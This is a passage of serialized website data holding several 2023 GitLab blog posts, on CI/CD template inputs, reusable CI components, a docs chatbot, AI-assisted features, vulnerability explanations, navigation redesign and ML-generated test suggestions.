job_prefix:\n      default: \"\"\n---\n\"$[[ inputs.job_prefix ]]deploy\":\n  stage: $[[ inputs.stage ]]\n  script: echo \"deploy $[[ inputs.website ]] to $[[ inputs.environment ]]\"\n```\n\nThen we can include it from the `.gitlab-ci.yml` with the input parameters:\n\n```\ninclude:\n  - local: deploy-template.yml\n    inputs:\n      stage: deploy\n      website: http://example.com\n      environment: production\n      job_prefix: \"my-app-\"\n```\n\nYou can [fork](https://gitlab.com/tech-marketing/ci-interpolation-example) this project, which uses the above examples:\n\n- [Dynamic job](https://gitlab.com/tech-marketing/ci-interpolation-example/-/blob/main/dynamic-job.yml)\n- [Dynamic script](https://gitlab.com/tech-marketing/ci-interpolation-example/-/blob/main/deploy-template.yml)\n- [Main CI configuration](https://gitlab.com/tech-marketing/ci-interpolation-example/-/blob/main/.gitlab-ci.yml)\n\nFor more information, please use our [online documentation](https://docs.gitlab.com/ee/ci/yaml/includes.html#define-input-parameters-with-specinputs).\n\nThat's it! You have successfully created CI templates that accept inputs and used them in a pipeline configuration. By using templates with inputs, you can simplify pipeline configuration and make templates more modular and reusable.\n\nThank you to [Fabio Pitino](https://gitlab.com/fabiopitino) and [Grzegorz Bizon](https://gitlab.com/grzesiek) for their content reviews.",[696,4103,110],{"slug":10317,"featured":6,"template":678},"use-inputs-in-includable-files","content:en-us:blog:use-inputs-in-includable-files.yml","Use Inputs In Includable Files","en-us/blog/use-inputs-in-includable-files.yml","en-us/blog/use-inputs-in-includable-files",{"_path":10323,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":10324,"content":10329,"config":10334,"_id":10336,"_type":16,"title":10337,"_source":17,"_file":10338,"_stem":10339,"_extension":20},"/en-us/blog/gitlab-chat-ai",{"title":10325,"description":10326,"ogTitle":10325,"ogDescription":10326,"noIndex":6,"ogImage":8601,"ogUrl":10327,"ogSiteName":1180,"ogType":1181,"canonicalUrls":10327,"schema":10328},"ML experiment: Use a chatbot to answer how-to questions","Learn how GitLab is experimenting with a docs chatbot that you can ask product questions in this latest installment of our ongoing 'AI/ML in DevSecOps' series.","https://about.gitlab.com/blog/gitlab-chat-ai","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"ML experiment: Use a chatbot to answer how-to questions\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sarah Waldner\"}],\n        \"datePublished\": \"2023-05-04\",\n      }",{"title":10325,"description":10326,"authors":10330,"heroImage":8601,"date":10331,"body":10332,"category":791,"tags":10333},[10093],"2023-05-04","\n\n\u003Ci>This blog post is part of an ongoing series about GitLab's journey to [build and integrate AI/ML into our DevSecOps platform](/blog/ai-ml-in-devsecops-series/). The series starts here: [What the ML is up with DevSecOps and AI?](/blog/what-the-ml-ai/). Throughout the series, we'll feature blogs from our product, engineering, and UX teams to showcase how we're infusing AI/ML into GitLab.\u003C/i>\n\nAt GitLab, [everyone can contribute](/company/mission/). As a platform, GitLab offers a wide variety of features, but it is hard to know everything GitLab is capable of without diligently combing through our documentation, testing out our features, or talking to someone at GitLab who can answer your questions. Reading documentation can send users down a rabbit hole and they may not get their question answered. This can lead to time spent with support, meetings with the Customer Success team, going back and forth with a solutions architect, coordinating with technical account managers, and maybe opting for some professional services hours. What if users had access to all the knowledge they needed at their fingertips 24/7 and could get their complex questions answered immediately?\n        \nIn an experimental feature, the [Global Search team](/handbook/engineering/development/enablement/data_stores/search/) used AI to create a chatbot that answers how-to questions about the GitLab product. It will respond with an explanation and relevant links to our documentation.   \n\n![GitLab Chat answering a simple question](https://about.gitlab.com/images/blogimages/gitlab_chat.gif){: .shadow}\n\nGetting answers on how-to questions while in the product eliminates time lost to context switching. The chat interface overlays the GitLab UI, which enables you to interface with a virtual expert alongside your work. This is especially helpful when you are involved in a complex multi-step task like setting up a gitlab-ci.yml file, configuring security policies, or editing a CODEOWNERS file.\n\nGitLab chat will answer any question that you would utilize our product documentation to answer. It also provides helpful links if the bot's response is not as detailed as you needed - the full documentation is just one click away.\n\n## Be part of our AI-assisted features journey\n\nThis experiment is just the start of the ways we're looking to infuse GitLab with AI/ML capabilities to help GitLab users become more efficient and effective at their jobs. We are [looking across the software development lifecycle](/blog/what-the-ml-ai/) for painful and time-consuming tasks that are ideal for AI Assisted features. We'll continue to share these demos throughout this blog series.\n\nInterested in using these AI-generated features? [Join our waitlist](https://forms.gle/9eeUkPJauKsbLaoz5) and share your ideas.\n\nContinue reading our ongoing series, \"[AI/ML in DevSecOps](/blog/ai-ml-in-devsecops-series/)\".\n\n_Disclaimer: This blog contains information related to upcoming products, features, and functionality. It is important to note that the information in this blog post is for informational purposes only. Please do not rely on this information for purchasing or planning purposes. As with all projects, the items mentioned in this blog and linked pages are subject to change or delay. The development, release, and timing of any products, features, or functionality remain at the sole discretion of GitLab._\n",[943,695,754,790],{"slug":10335,"featured":6,"template":678},"gitlab-chat-ai","content:en-us:blog:gitlab-chat-ai.yml","Gitlab Chat Ai","en-us/blog/gitlab-chat-ai.yml","en-us/blog/gitlab-chat-ai",{"_path":10341,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":10342,"content":10348,"config":10353,"_id":10355,"_type":16,"title":10356,"_source":17,"_file":10357,"_stem":10358,"_extension":20},"/en-us/blog/gitlab-ai-assisted-features",{"title":10343,"description":10344,"ogTitle":10343,"ogDescription":10344,"noIndex":6,"ogImage":10345,"ogUrl":10346,"ogSiteName":1180,"ogType":1181,"canonicalUrls":10346,"schema":10347},"GitLab details AI-assisted features in the DevSecOps platform","In a fireside chat, CEO and co-founder Sid Sijbrandij shared demos of AI-assisted features available today in gitlab.com.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749669077/Blog/Hero%20Images/ai-fireside-chat.png","https://about.gitlab.com/blog/gitlab-ai-assisted-features","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab details AI-assisted features in the DevSecOps platform\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sid Sijbrandij\"}],\n        \"datePublished\": \"2023-05-03\",\n      }",{"title":10343,"description":10344,"authors":10349,"heroImage":10345,"date":10350,"body":10351,"category":791,"tags":10352},[3532],"2023-05-03","\nThis morning, GitLab’s Chief Financial Officer Brian Robins and I led a fireside chat focused on [GitLab’s AI strategy](https://ir.gitlab.com/news-releases/news-release-details/gitlab-hold-ai-fireside-chat-sid-sijbrandij), AI’s role in solving customer pain points, and our AI product roadmap.\n\nAI marks a big industry shift that will make it easier to develop, secure, and operate software. We plan to infuse AI throughout the software development lifecycle by incorporating it into our comprehensive enterprise DevSecOps platform.\n\nWe will lead with a customer-centric approach focused on privacy first, where customers know their intellectual property is secured. One way we are accomplishing this is with [our recently announced generative AI partnership with Google](https://about.gitlab.com/press/releases/2023-05-02-gitLab-and-google-cloud-partner-to-expand-ai-assisted-capabilities.html). This will allow GitLab to use Google's generative AI foundation models to provide customers with AI-powered offerings within our cloud infrastructure. We’ll maintain our commitment to protecting user privacy by containing customer intellectual property and source code within GitLab's cloud infrastructure.\n\nWatch the AI fireside chat:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe width=\"560\" height=\"315\" src=\"https://www.youtube.com/embed/ejWeMdVz8Nk\" title=\"YouTube video player\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" allowfullscreen>\u003C/iframe>\n\n\u003C/figure>\n\u003C!-- blank line -->\n\nDuring the fireside chat, we introduced AI-assisted features available to GitLab customers today on gitlab.com. We provided a live demo of these capabilities that can be utilized by everyone throughout the software development lifecycle. \n\n![List of AI-assisted capabilities](https://about.gitlab.com/images/blogimages/ai-assisted-capabilities-detailed.png){: .shadow}\n\nWe also discussed how these capabilities are focused on three personas: development, security and operations teams, and have features available for all users. Watch the demos for these capabilities available on gitlab.com today:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe width=\"560\" height=\"315\" src=\"https://www.youtube-nocookie.com/embed/ILJeqWoVswM\" title=\"YouTube video player\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" allowfullscreen>\u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## AI for Developer Teams \n\n### Code Suggestions\n- Enables developers to write code more efficiently by viewing code suggestions as they type. \nLearn more about [Code Suggestions](/blog/ai-assisted-code-suggestions/).\n\n### Suggested Reviewers\n- Helps customers receive faster and higher quality reviews by automatically finding the right people to review a merge request.\nLearn more about [Suggested Reviewers](https://docs.gitlab.com/ee/user/project/merge_requests/reviews/data_usage.html).\n\n### Summarize MR Changes\n- Helps merge request authors to drive alignment and action by efficiently communicating the impact of their changes.\nLearn more about [Summarize MR Changes](/blog/merge-request-changes-summary-ai/).\n\n### Summarize My MR Review\n- Enables better handoffs between authors and reviewers and helps reviewers efficiently understand many merge request suggestions. \nLearn more about [Summarize My MR Review](/blog/summarize-my-merge-request-review/).\n\n## AI for Security and Operations\n\n### Explain This Vulnerability\n- Helps developers remediate vulnerabilities more efficiently and uplevel their skills, enabling them to write more secure code.\nLearn more about [Explain This Vulnerability](/blog/explain-this-vulnerability/).\n\n### Generate Tests in MRs\n- Automates repetitive tasks for developers and helps them catch bugs early.\nLearn more about [Generate Tests in MRs](/blog/merge-request-suggest-a-test/).\n\n### Explain This Code\n- Allows DevSecOps teams to get up to speed quickly on code.\nLearn more about [Explain This Code](/blog/explain-this-code/).\n\n## AI for everyone\n\n### Issue Comment Summaries\n- Quickly gets everyone up to speed on lengthy conversations to ensure they are all on the same page.\nLearn more about [Issue Comment Summaries](/blog/summarize-issues/).\n\n### GitLab Chat\n- Helps quickly identify useful information in large volumes like documentation.\nLearn more about [GitLab Chat](https://gitlab.com/groups/gitlab-org/-/epics/10220).\n\n### Value Stream Forecasting\n- Predicts productivity metrics and identifies anomalies across your software development lifecycle.\nLearn more about [Value Stream Analytics](https://docs.gitlab.com/ee/user/group/value_stream_analytics/).\n\nThese are just the beginning of many features we have in the works leveraging generative AI to provide our customers [AI-assisted features](/topics/devops/the-role-of-ai-in-devops/) across our DevSecOps platform. With our value of iteration at the heart of our work, we are actively improving all the capabilities we announced today as well as introducing new capabilities. [AI is in all we do](/company/yearlies/#fy24-yearlies) and we intend to ship many capabilities throughout the year as they become ready.  \n\n> Discover the future of AI-driven software development with our GitLab 17 virtual launch event. [Watch today!](https://about.gitlab.com/seventeen/)",[736,754,790,943],{"slug":10354,"featured":6,"template":678},"gitlab-ai-assisted-features","content:en-us:blog:gitlab-ai-assisted-features.yml","Gitlab Ai Assisted Features","en-us/blog/gitlab-ai-assisted-features.yml","en-us/blog/gitlab-ai-assisted-features",{"_path":10360,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":10361,"content":10366,"config":10371,"_id":10373,"_type":16,"title":10374,"_source":17,"_file":10375,"_stem":10376,"_extension":20},"/en-us/blog/explain-this-vulnerability",{"title":10362,"description":10363,"ogTitle":10362,"ogDescription":10363,"noIndex":6,"ogImage":9425,"ogUrl":10364,"ogSiteName":1180,"ogType":1181,"canonicalUrls":10364,"schema":10365},"ML experiment: Explain this vulnerability","Learn how GitLab is experimenting with vulnerability explanation and mitigation recommendations in this latest installment of our ongoing 'AI/ML in DevSecOps' series.","https://about.gitlab.com/blog/explain-this-vulnerability","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"ML experiment: Explain this vulnerability\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Alana Bellucci\"}],\n        \"datePublished\": \"2023-05-02\",\n      }",{"title":10362,"description":10363,"authors":10367,"heroImage":9425,"date":10368,"body":10369,"category":791,"tags":10370},[5305],"2023-05-02","\n\n\u003Ci>This blog is the latest post an ongoing series about GitLab’s journey to [build and integrate AI/ML into our DevSecOps platform](/blog/ai-ml-in-devsecops-series/). The first blog post can be found [here](/blog/what-the-ml-ai/). Throughout the series, we’ll feature blogs from our product, engineering, and UX teams to showcase how we’re infusing AI/ML into GitLab.\u003C/i>\n\nGitLab surfaces vulnerabilities that contain relevant information. However, more often users aren't sure where to start. \nIt takes time to research and synthesize information that is surfaced within the vulnerability record. Moreover, figuring out how to fix a given vulnerability can be difficult.\n\nTo help teams identify an effective way to fix a vulnerability within the context of their specific code base, we have released an [experimental](https://docs.gitlab.com/ee/policy/experiment-beta-support.html#experiment)\n feature that provides GitLab AI-assisted vulnerability recommendations leveraging the explanatory power of large language models. This capability combines basic vulnerability \n information with insights derived from the customer's code to explain the vulnerability in context, demonstrate how it can be exploited, and provide an example fix.\n\n[Isaac Dawson](https://gitlab.com/idawson) and [Dinesh Bolkensteyn](https://gitlab.com/dbolkensteyn), both [GitLab Vulnerability Research](/handbook/engineering/development/sec/secure/vulnerability-research/) \nengineers, tested prompts in a large language model to see if prompts could yield helpful results. After fine-tuning the prompts, they found that some prompts could provide better details\n and even suggest recommendations for a fix to vulnerabilities related to static application security testing ([SAST](https://docs.gitlab.com/ee/user/application_security/sast/)). \n In a week's time, Product Designer [Becka Lippert](https://gitlab.com/beckalippert) designed a prototype and [Daniel Tian](https://gitlab.com/dftian), \n [Mo Khan](https://gitlab.com/mokhax), and [Neil McCorrison](https://gitlab.com/nmccorrison) built this experimental feature in GitLab.\n\n![Explain and mitigate this vulnerability with AI](https://about.gitlab.com/images/blogimages/2023-04-27-explain-this-vulnerability.png){: .shadow}\n\n\nThis feature is powered by Google AI. Learn more about [our partnership with Google Cloud](https://about.gitlab.com/press/releases/2023-05-02-gitLab-and-google-cloud-partner-to-expand-ai-assisted-capabilities.html) to enrich GitLab features with generative AI.\n\nYou can explore the \"explain this vulnerability\" feature with a [click-through demo](https://go.gitlab.com/0qIe3O).\n\n## Iterating on AI/ML features\n\nThis [experimental](https://docs.gitlab.com/ee/policy/experiment-beta-support.html#experiment) feature is available in GitLab.com today. We are exploring what this feature could look like for \nother types of vulnerabilities beyond SAST and in a merge request. Have an idea that would make this feature better? Please share it with us, along with any feedback, in this \n[issue](https://gitlab.com/gitlab-org/gitlab/-/issues/407295).\n\nThis experiment is just the start of the ways we're looking to infuse GitLab with AI/ML capabilities to help GitLab users become more efficient and effective at their jobs. We are [looking across the software development lifecycle](/blog/what-the-ml-ai/) for painful and time-consuming tasks that are ideal for AI Assisted features. We'll continue to share these demos throughout this blog series.\n\nInterested in using these AI-generated features? [Join our waitlist](https://forms.gle/9eeUkPJauKsbLaoz5) and share your ideas.\n\nContinue reading our ongoing series, \"[AI/ML in DevSecOps](/blog/ai-ml-in-devsecops-series/)\".\n\n_Disclaimer: This blog contains information related to upcoming products, features, and functionality. It is important to note that the information in this blog post is for informational purposes only. Please do not rely on this information for purchasing or planning purposes. As with all projects, the items mentioned in this blog and linked pages are subject to change or delay. The development, release, and timing of any products, features, or functionality remain at the sole discretion of GitLab._\n",[736,754,943,790],{"slug":10372,"featured":6,"template":678},"explain-this-vulnerability","content:en-us:blog:explain-this-vulnerability.yml","Explain This Vulnerability","en-us/blog/explain-this-vulnerability.yml","en-us/blog/explain-this-vulnerability",{"_path":10378,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":10379,"content":10385,"config":10390,"_id":10392,"_type":16,"title":10393,"_source":17,"_file":10394,"_stem":10395,"_extension":20},"/en-us/blog/gitlab-product-navigation",{"title":10380,"description":10381,"ogTitle":10380,"ogDescription":10381,"noIndex":6,"ogImage":10382,"ogUrl":10383,"ogSiteName":1180,"ogType":1181,"canonicalUrls":10383,"schema":10384},"Inside the vision for GitLab’s new platform navigation","A peek into what inspired our new navigation design, which is coming soon.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749668078/Blog/Hero%20Images/cover-image-helm-registry.jpg","https://about.gitlab.com/blog/gitlab-product-navigation","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Inside the vision for GitLab’s new platform navigation\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Christen Dybenko\"}],\n        \"datePublished\": \"2023-05-01\",\n      }",{"title":10380,"description":10381,"authors":10386,"heroImage":10382,"date":10387,"body":10388,"category":962,"tags":10389},[8715],"2023-05-01","\n\nSoon, we’ll be launching an entirely redesigned navigation in the GitLab product that is based on feedback from users. We’re both excited and a little nervous because navigation is so critical to every user’s workflow. That’s why we made a thoughtful shift in our iteration strategy, taking extra time and intention to develop a new and refined vision. We'd like to share a peek into how we ended up where we did and why we are so excited for our new design!\n\n## We had to invest in the right user experience\n\nBecause it has such an obvious impact on user experience, a navigation overhaul is no small feat. That’s why we fully funded a team to work exclusively on navigation, and provided the time and space to create the best experience possible. During the past year, we put a big focus on design ideation and UX research. It was a lot of work, but we believe this level of user focus has really paid off. \n\nBacked by our amazing design and product leadership team, we put much of our focus on the new navigation for more than nine months while we designed and tested it with end users.\n\nIn this blog post, we’ll share insights on our process, what we learned, and our vision for the future.\n\n![New navigation](https://about.gitlab.com/images/blogimages/2023-04-20-new-navigation-vision/new-navigation-vision.png){: .shadow}\n\n## Predicting what users will need\n\nWhen we first started to think about how to redesign our navigation, the challenge seemed overwhelming. How do we know how to make the best decisions for our navigation? How can anyone know which design or solution is *right*?\n\nWe did not want to make users unhappy for even a short period of time. At GitLab, we have [15 user personas](/handbook/product/personas/#user-personas), incredibly savvy users, and so many different workflows. We had to consider opinions that were not present in our backlog. For example, our power users can be very verbose in issues, but new users are not.\n\nIt is a huge undertaking to get to this kind of understanding and know what is right. Time pressure and needing to ship quickly could have made this type of work impossible at this scale.\n\nThankfully, our team dedicated to navigation was amazing. They invested time to reveal our users' key pain points with navigation, which set the litmus test by which we could evaluate every mockup and solution.\n\n## Establishing a north star\n\nBefore we wrote a line of code or started planning, we did a crucial piece of alignment to know our goals. Our design team led us in a north star exercise where we examined every piece of [System Usability Score (SUS)](/handbook/product/ux/performance-indicators/system-usability-scale/) feedback we had received on navigation.\n\nWe coded this feedback and [three themes](/direction/manage/foundations/navigation_settings/#1-year-plan) emerged. We needed to: \n\n- minimize feelings of being overwhelmed\n- orient users across the platform\n- allow users to pick up where they left off easily\n\nThis north star was amazing for understanding the problem and how to proceed. We learned _a lot_ about what our users’ pain points are and what our users struggle with daily.\n\nThankfully, this also helped us remove the dread of trying to ship something with the impossible goal of being all things to all people as we could now test these three themes with any persona.\n\nWe applied the themes to every design validation effort that we conducted with users moving forward. Our UX Research team also conducted interviews to understand how users felt about these specific themes. It felt incredible to have these insights available right from the start. It was also empowering to let some of the noise go to focus more clearly on what matters and what would move us forward.\n\n## Shifting our perspective on iteration for the right user experience\n\nGitLab is amazing at [iteration](/handbook/engineering/workflow/iteration/), and lately, we’ve been raising the bar on the quality of our [MVCs](/handbook/product/product-principles/#the-minimal-viable-change-mvc) and [definition of done](https://docs.gitlab.com/ee/development/contributing/merge_request_workflow.html?#ui-changes) with the goal of not degrading the current user experience. For navigation, we took this extra seriously, with the intention of protecting every part of the navigation experience.\n\nAs we reviewed the history of many iterative navigation updates over the past five years, we could see that there was very little overall consistency in the code and in the intention of the updates. This is what happens at fast-moving startups, and it can be ok for a period of time, but at some point, it's necessary to take a pause to strip things back for a meaningful change. The small iterations over time gave us an indication of pain points overall, and we needed a thoughtful plan to proceed. \n\nWe decided that anything we change in this new navigation should not degrade a user’s core workflow. We would first hit a baseline for what currently exists in navigation and then make meaningful updates. We agreed that anything we ship after our Alpha had to be fully usable by our own team. We didn’t want users to feel like we’d moved backward or that they had lost functionality in this next phase.\n\nSo, while we have some exciting features planned for the future, we won’t take action on them until we fully refine the core features and address user feedback.\n\n## Iterations now and vision for the next year \n\nWhile holding the baseline promise of no degradation in the new navigation, we did find opportunities to ship small iterations to our current navigation since January. First, we shipped a new navigation called “Your Work” and second, we shipped a new “Explore” menu to all users. Those menus are central to our new navigation vision, but they improved the legacy navigation, too.\n\nAfter launch, we can’t wait to improve even further with more customizable navigation experiences like allowing pins on Your Work and seamless integration with search, command line, and keyboard use. We also have ideas on how to add better landing pages that make life more custom in GitLab, and we couldn’t do that without this new navigation.\n\n## No one likes a navigation re-design\n\nAll that said, we know that no one actually likes a navigation redesign, even if it is best in the long run. Core workflows are ingrained muscle memory that no one wants to mess with if possible.\n\nThat’s why we are releasing our new navigation with a built-in on/off switch. With this approach, you can gradually move to the new navigation by switching back and forth for a little while, as needed. \n\nOur hope is that you’ll take a similar approach and share your feedback along the way, too. We want to hear about your experiences, so please be honest and your feedback will help us iterate.\n\n## What to expect for rollout\n\nWe are proud of our vision for a new navigation! Over the next few months, our new navigation will be available via an opt-in process in the user profile menu, and we'd love your feedback. Watch our Twitter, upcoming release posts, and our [direction page](/direction/manage/foundations/navigation_settings/) for more information!\n",[695,2248,754,676],{"slug":10391,"featured":6,"template":678},"gitlab-product-navigation","content:en-us:blog:gitlab-product-navigation.yml","Gitlab Product Navigation","en-us/blog/gitlab-product-navigation.yml","en-us/blog/gitlab-product-navigation",{"_path":10397,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":10398,"content":10404,"config":10408,"_id":10410,"_type":16,"title":10411,"_source":17,"_file":10412,"_stem":10413,"_extension":20},"/en-us/blog/how-to-build-reusable-ci-templates",{"title":10399,"description":10400,"ogTitle":10399,"ogDescription":10400,"noIndex":6,"ogImage":10401,"ogUrl":10402,"ogSiteName":1180,"ogType":1181,"canonicalUrls":10402,"schema":10403},"How to build more reusable CI/CD templates","Users can now define inputs to any includable CI/CD templates. Learn how and see what other CI/CD pipeline developments are coming.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749682709/Blog/Hero%20Images/pexels-mathias-reding-4386148.jpg","https://about.gitlab.com/blog/how-to-build-reusable-ci-templates","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to build more reusable CI/CD templates\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Dov Hershkovitch\"}],\n        \"datePublished\": \"2023-05-01\",\n      }",{"title":10399,"description":10400,"authors":10405,"heroImage":10401,"date":10387,"body":10406,"category":734,"tags":10407},[902],"\n\nThere are exciting new developments to share about our CI/CD templates features, known for their ability to get users up and running quickly with [GitLab CI/CD](/topics/ci-cd/). Our goals for the immediate future are to evolve templates into CI/CD components (more details below) and, soon, to release a CI/CD components catalog to make the reusing and sharing of pipeline configurations easier and more efficient for developers, both inside of their organizations and with the wider developer community. The first step in our journey is to enable users to define inputs to any includable file, ultimately creating more powerful and reusable CI/CD templates.\n\nHere is a short walkthrough on this capability: \n\n\u003Cfigure class=\"video_container\">\n\u003Ciframe width=\"1870\" height=\"937\" src=\"https://www.youtube.com/embed/4ZRdgBy1n5E\" title=\"\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen>\u003C/iframe>\n\u003C/figure>\n\n\n## Build more robust and isolated CI/CD templates\nIn GitLab 15.11, we released, as Beta, the ability to define inputs to any includable file (any CI/CD file that you include in your pipeline). Until now, we've been leveraging environment variables to pass information. As an example, we used environment variables to pass information from an upstream pipeline to a downstream pipeline.\n\nUsing environment variables for passing information is like declaring global variables in programming languages – it has an effect on your entire pipeline, which means that the more variables we declare, the more we risk variable conflicts and increased variable scope.\n\nInput parameters are similar to variables passed to the template but exist only inside a specific scope and don't affect other templates in your pipelines. There are several benefits of using inputs, including:\n1. Inputs are not inherited from upstream includes and must be passed explicitly, which means they will never affect your entire pipeline. \n2. Inputs have full support for CI/CD interpolation, which means you have complete flexibility to \"templatize\" your pipeline and use `$[[ inputs.* ]]` across all keywords in your CI/CD configuration. \n3. You can define mandatory and optional inputs to be used as part of your CI/CD templates.\n4. You can define a default value for inputs. \n \nThis paradigm allows users to build more robust and isolated templates (which will soon evolve into components) and enables users to declare and enforce contracts. \n\n### Add your inputs and let us know what you think! \nThe ability to define inputs to a CI/CD configuration file is available right now and we'd love for users to dive in and begin adding inputs to templates. You can check out [the GitLab docs](https://docs.gitlab.com/ee/ci/yaml/includes.html#define-input-parameters-with-specinputs) and review [this example project](https://gitlab.com/grzesiek/ci-interpolation-example) to better understand how to use inputs as part of your daily workflow. If you use this feature and have feedback, please share it with us in this [issue](https://gitlab.com/gitlab-org/gitlab/-/issues/407556).\n\n## What's next in CI/CD pipelines?\nIn GitLab 16.0, we are planning to release an experimental version of a CI/CD pipeline component, which will be the first building block of our CI/CD catalog. A pipeline component is a reusable, single-purpose building block that abstracts a single pipeline configuration unit away. To learn more, please check out this [example project](https://gitlab.com/gitlab-test-ci-catalog/catalog/ruby). \n\n### Why are we moving to components?\nComponents are preconfigured CI/CD files that automate the process of building, testing, and deploying software applications. CI/CD components provide:\n* **Versioning**: Each component is tagged with a version number, so you can reference a specific version or always use the `~latest` version.\n* **Consistency**: CI/CD components ensure consistency in your CI/CD pipelines across different projects, teams, and environments. By using a standardized approach, developers can reduce errors and improve the quality of their code.\n* **Time-savings**: CI/CD components save time by automating repetitive tasks such as running tests, building artifacts, and deploying applications. This enables developers to focus on more important tasks, like writing code and fixing bugs.\n* **Reusability**: CI/CD components can be reused across multiple projects and teams, eliminating the need to create custom scripts for each project. This saves time and reduces the risk of errors.\n* **Scalability**: CI/CD components are scalable and can be used to manage pipeline processes of large and complex applications. This enables developers to easily manage their projects as they grow.\n* **Flexibility**: CI/CD components are highly customizable and can be adapted to suit the needs of different projects, teams, and environments. This allows developers to use the tools and processes that work best for them.\n\nTL;DR: Using CI/CD components can help streamline the development process, save time, reduce errors, and improve the quality of code.\n\n### On the horizon: A CI/CD component catalog\nTo further streamline your development processes, improve the quality of your software delivery, and make it easier for developers to discover and use preconfigured components, we’ll be releasing the CI/CD component catalog, which will make using, creating, and sharing CI/CD components much more efficient and user-friendly, and we’re targeting release of this later this year. In the next months, we’ll be sharing more feature updates, blogs, docs, and demos to keep you posted on our journey toward CI/CD components and a CI/CD component catalog. We’re excited for you to test out the new capabilities as they drop, and we look forward to your feedback.  \n\nCover image by [Mathias Reding](https://www.pexels.com/@matreding/) on [Pexels](https://www.pexels.com/photo/background-of-abstract-modern-architectural-pattern-4386148/).\n{: .note}\n",[110,4103],{"slug":10409,"featured":6,"template":678},"how-to-build-reusable-ci-templates","content:en-us:blog:how-to-build-reusable-ci-templates.yml","How To Build Reusable Ci Templates","en-us/blog/how-to-build-reusable-ci-templates.yml","en-us/blog/how-to-build-reusable-ci-templates",{"_path":10415,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":10416,"content":10421,"config":10426,"_id":10428,"_type":16,"title":10429,"_source":17,"_file":10430,"_stem":10431,"_extension":20},"/en-us/blog/merge-request-suggest-a-test",{"title":10417,"description":10418,"ogTitle":10417,"ogDescription":10418,"noIndex":6,"ogImage":9405,"ogUrl":10419,"ogSiteName":1180,"ogType":1181,"canonicalUrls":10419,"schema":10420},"ML experiment: Generate tests for code changes","Learn how GitLab is experimenting with ML-powered test suggestions in this latest installment of our ongoing 'AI/ML in DevSecOps' series.","https://about.gitlab.com/blog/merge-request-suggest-a-test","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"ML experiment: Generate tests for code changes\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Kai Armstrong\"}],\n        \"datePublished\": \"2023-04-27\",\n      }",{"title":10417,"description":10418,"authors":10422,"heroImage":9405,"date":10423,"body":10424,"category":791,"tags":10425},[9201],"2023-04-27","\n\n\u003Ci>This blog post is part of an ongoing series about GitLab's journey to [build and integrate AI/ML into our DevSecOps platform](/blog/ai-ml-in-devsecops-series/). The series starts here: [What the ML is up with DevSecOps and AI?](/blog/what-the-ml-ai/). Throughout the series, we'll feature blogs from our product, engineering, and UX teams to showcase how we're infusing AI/ML into GitLab.\u003C/i>\n\nProposing changes and new features via merge requests is great, but what about the tests? Sometimes, tests can be the hardest part of any code change you make. Maybe you're not sure how to start writing the tests? Maybe the test doesn't cover all the scenarios that need to be tested? Maybe you just want to get a second opinion on the tests that were written? We believe that we can use generative AI and large language models (LLMs) to help provide relevant test coverage for the proposed changes, so reviewers and authors can have confidence in the quality of code changes being submitted.\n\nIn a rapid prototype, [Phil Hughes](https://gitlab.com/iamphill), Staff Frontend Engineer for our [Code Review Group](/handbook/product/categories/#code-review-group), used AI to generate suggested test coverage for changes directly in the [merge request](https://docs.gitlab.com/ee/user/project/merge_requests/). He added a new option on merge request files to provide suggested tests in a sidebar:\n\n![Merge request test generation AI](https://about.gitlab.com/images/blogimages/merge-request-generate-tests-ai.gif){: .shadow}\n\n## Iterating on AI/ML features\n\nWhile just an experiment today, we are iterating on how to effectively bring features like this to our customers. We're beginning by generating these test suggestions, and seeking ways to incorporate them into the review flow. We're exploring ideas like:\n\n- Automatic detection of missing tests, with suggestions to add coverage\n- Automated review of the proposed tests in the merge request, for appropriateness and completeness\n\nThis experiment is just the start of the ways we're infusing GitLab with AI/ML capabilities to help GitLab users become more efficient and effective at their jobs. We are [looking across the software development lifecycle](/blog/what-the-ml-ai/) for painful and time-consuming tasks that are ideal for AI-assisted features. We'll continue to share these demos throughout this blog series.\n\nInterested in using these AI-generated features? [Join our waitlist](https://forms.gle/9eeUkPJauKsbLaoz5) and share your ideas.\n\nContinue reading our \"[AI/ML in DevSecOps](https://about.gitlab.com/blog/ai-ml-in-devsecops-series/)\" series.\n\n_Disclaimer: This blog contains information related to upcoming products, features, and functionality. It is important to note that the information in this blog post is for informational purposes only. Please do not rely on this information for purchasing or planning purposes. As with all projects, the items mentioned in this blog and linked pages are subject to change or delay. The development, release, and timing of any products, features, or functionality remain at the sole discretion of GitLab._\n",[943,695,754,790],{"slug":10427,"featured":6,"template":678},"merge-request-suggest-a-test","content:en-us:blog:merge-request-suggest-a-test.yml","Merge Request 